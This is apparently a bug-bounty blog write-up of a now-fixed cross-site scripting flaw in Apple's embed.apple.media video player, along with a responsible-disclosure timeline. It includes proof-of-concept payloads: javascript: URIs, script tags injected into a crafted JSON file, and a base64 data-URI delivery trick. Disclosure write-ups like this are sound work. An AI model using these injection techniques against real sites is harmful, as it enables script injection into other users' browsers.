TL;DR - Follow Garyvee on Twitter, and you’ll probably find XSS.

Intro

When you work a desk job, sometimes you need inspiration to ‘crush it’ and Gary Vaynerchuk is my go-to hero when it comes to trying to be more productive and push forward in my career, plus he had Weshly Arms Legendary as his intro for DailyVee, which I now listen to all the time. By procrastinating more on Twitter, I saw that Gary was going to be in Planet Of The Apps, and he recommended that everyone should check out the website. When you visit the site, it looks pretty average, and it is, a very basic promotional website with a trailer embedded.

Like every normal person, whenever visiting a website, I always view the source; now by looking at the source, you could tell directly something funky is going on, check out the source if you want to figure it out on your own.

When you look at the source, you see the following iFrame:

1
2
<iframe allowfullscreen='' frameborder='0' height='100%' scrolling='no' src='https://embed.apple.media/public/assets/player.html?id=59a0662a064b5400127610ba&amp;src=https://embed.apple.media/public/embeds/59a0662a064b5400127610ba.json'
style='position: absolute; top: 0; left: 0; width: 100%; height: 100%;' width='100%'></iframe>

It’s very strange to load a resource in an iFrame and then include the same origin with a JSON object through a .json resource.

From what I can grasp, embed.apple.media is used by Apple to load videos for apple music, for example the Planet of the apps trailer and a trailer for Future’s Coming Out Strong.

Investigating

Now when I first started to see if this was vulnerable to Cross-Site Scripting (XSS), I attempted to just inject the src parameter as a JavaScript URI and inject script tags to see if it would render in the HTML mark-up.

1
2
https://embed.apple.media/public/assets/player.html?id=&src=javascript:alert(1)
https://embed.apple.media/public/assets/player.html?id=&src=<script>alert(1)</script>

That didn’t work, and it’s generally not that easy, so next I looked to see what was being rendered in the .json file, and as you could see it was metadata for rendering the video.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
{
"lastUpdate": "2017-08-26T01:14:16.233Z",
"killswitch": false,
"id": "59a0662a064b5400127610ba",
"alias": "POTA EN-US SUPER TEASE",
"autoplay": false,
"loop": true,
"enableInlinePlayback": true,
"transitionStyle": "slide",
"speed": 300,
"autoplaySpeed": 10,
"aspectRatio": {
"_id": "59a0662a064b5400127610bb",
"y": 9,
"x": 16
},
"meta": {
"branding": {
"iconApple": "apple-music"
},
"tags": [
"pota"
],
"sharing": {
"campaignToken": null,
"affiliateToken": null,
"url": "http://itunes.com",
"twitter": null,
"facebook": null,
"tumblr": null
}
},
"slides": [
{
"id": "59a05cbd666e23000cf74d3d",
"alias": "POTA16_2Min_Supertease_NoLogo_US_CA.mp4 - 08/25/2017, 10:22:05",
"type": "video",
"meta": {
"tags": [
"pota"
],
"branding": {
"hideApple": false,
"hidePartner": false,
"iconApple": "apple-music"
},
"title": "Planet of the Apps: Extended Trailer",
"description": null,
"sharing": {
"campaignToken": null,
"affiliateToken": null,
"url": "http://apple.co/planet-of-the-apps",
"staticCTA": null,
"iconCTA": null,
"twitter": null,
"facebook": null,
"tumblr": null
},
"artwork": "https://embed.apple.media/public/transcodes/59a0cb5d064b5400127611d8/a7a1cd51-7c3e-47b4-a4da-a78df2dd00b0_f64f1d8a-1839-4d7d-b070-f56e3856ed5e_Screen-Shot-2017-08-25-at-60359-PM_1080.png",
"duration": 120.89,
"width": 1920,
"height": 1080
},
"closedCaptions": [],
"media": [
{
"mimeType": "application/vnd.apple.mpegurl",
"src": "https://embed.apple.media/public/transcodes/59a05bd7064b540012760f5a/3bec97ed-595f-49a4-aef2-5d4020db2498.m3u8",
"label": "m3u8-playlist"
},
{
"mimeType": "video/webm",
"src": "https://embed.apple.media/public/transcodes/59a05bd7064b540012760f5a/77e28370-8053-4faa-8c5c-4f72e3925647.webm",
"label": "webm",
"duration": 120.89,
"width": 1920,
"height": 1080
},
{
"mimeType": "video/mp4",
"src": "https://embed.apple.media/public/transcodes/59a05bd7064b540012760f5a/cd58a3b8-21c1-4fbe-b1dd-7fc3f0df1828.mp4",
"label": "mp4 high",
"duration": 120.96,
"width": 1920,
"height": 1080
}
]
}
]
}

The next attack scenario would be, because it wasn’t accepting arbitrary HTML or JavaScript URIs, maybe I could host my own JSON object and have see how the page renders in the HTML mark-up or evaluated by JavaScript.

So I initially used myjson.com a simple website which hosts JSON objects, and hosted the same payload that was being included on embed.apple.media, this loaded fine. The only thing which needed to be the same was the ID in the query string and the ID in the JSON object so for https://api.myjson.com/bins/139m8d.json because the ID was set as javascript:alert(1) the ID had to be https://embed.apple.media/public/assets/player.html?id=javascript:alert(1)&partner=Apple&src=https://api.myjson.com/bins/139m8d.json.

By manipulating values in the JSON object, I first included javascript URIs in values that may have been interpreted as such e.g the src, this did not work, so I started to move into and including script tags.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
{
"lastUpdate": "2017-02-21T21:47:15.922Z",
"killswitch": false,
"id": "58a25450bd109a0012ecb3a5",
"alias": "PTA",
"autoplay": false,
"loop": true,
"enableInlinePlayback": true,
"transitionStyle": "slide",
"speed": 300,
"autoplaySpeed": 10,
"aspectRatio": {
"_id": "58a25450bd109a0012ecb3a6",
"y": 9,
"x": 16
},
"meta": {
"branding": {
"iconApple": "apple-music"
},
"tags": [],
"sharing": {
"campaignToken": null,
"affiliateToken": null,
"url": "http://itunes.com",
"twitter": "#PlanetOfTheApps",
"facebook": null,
"tumblr": "#PlanetOfTheApps"
}
},
"slides": [
{
"id": "58a5d25ead20e900124409d3",
"alias": "\u003cscript\u003ealert(1)\u003c/script\u003e",
"type": "video",
"meta": {
"tags": [
"planetoftheapps"
],
"branding": {
"hideApple": false,
"hidePartner": false,
"iconApple": "apple-music"
},
"title": "\u003cscript\u003ealert(1)\u003c/script\u003e",
"description": null,
"sharing": {
"campaignToken": null,
"affiliateToken": null,
"url": "javascript:alert(1)",
"staticCTA": null,
"iconCTA": null,
"twitter": "#PlanetOfTheApps",
"facebook": null,
"tumblr": "#PlanetOfTheApps"
},
"artwork": "https://embed.apple.media/public/transcodes/58a5d5c827e491000c1faf5f/668cc1ab-29b6-41ea-85af-2994b8f351e2_308a2d43-2cca-4074-99e5-538a5e80216d_posterframe_1080.png",
"duration": 148.452,
"width": 1920,
"height": 1080
},
"media": [
{
"mimeType": "text/html",
"src": "javascript:alert(1)",
"label": "m3u8-playlist"
},
{
"mimeType": "text/html",
"src": "javascript:alert(1)",
"label": "webm",
"duration": 148.452,
"width": 1920,
"height": 1080
},
{
"mimeType": "text/html",
"src": "javascript:alert(1)",
"label": "mp4 high",
"duration": 148.522,
"width": 1920,
"height": 1080
},
{
"mimeType": "text/html",
"src": "javascript:alert(1)",
"label": "ogg",
"duration": 148.448,
"width": 1920,
"height": 1080
}
]
}
]
}

And finally, after manipulating it enough, I got my XSS in the “title” field.

So I had about 15 minutes until I was joining a friend to watch a film, so I wrote up a quick and dirty email and fired it over to product-security@apple.com

Final Tip

Something I learnt from this, h/t Alex you don’t always have to excessively load from an external resource.

You can use Data URIs to load resources in the same way.

The format, of DataURIs is data: mediatype ; base64 , data,

So in this case, you can include a Data URI of media/type application/json, with the base64 encoded data which can be interpreted as https://embed.apple.media/public/assets/player.html?id=58a25450bd109a0012ecb3a5&partner=Apple&src=data:application/json;base64,DATA.

So if you have a JSON object, you can simply base64 encode it and include it in a Data URI, and your payload becomes this, which is pretty neat.

Fix

The fix appears to be that it’s only loading resources from whitelisted domains. I looked at trying to include Data URIs, and load from third-party resources over HTTP and HTTPS, and used general bypass techniques to load a third-party domain, but it appears sufficent.

The one thing that’s no-longer required is that the IDs don’t need to match, so you can just include https://embed.apple.media/public/assets/player.html?id=&src=https://embed.apple.media/public/embeds/59a0662a064b5400127610ba.json and it will still render.

Let me know if you find another way to load another resource, after you report it and they resolve it responsibly ofcourse :).

Timeline

To give Apple credit, whilst it did take a long time to resolve, embed.apple.media isn’t exactly a high priority domain, so I reported the issue in May 2017 it was resolved in January 2018, the Apple team did respond in a timely manner to all my emails.

  • Initial email reporting issue May 25 2017
  • Response from Apple May 26 2017
  • Request on status June 12 2017
  • Response from Apple June 12 2017
  • Request on status October 11 2017
  • Response from Apple October 12 2017
  • Request on status December 12 2017
  • Response from Apple December 15 2017
  • Request on status February 05 2018
  • Response from Apple confirming resolved February 05 2018
  • Hall Of Fame 🎉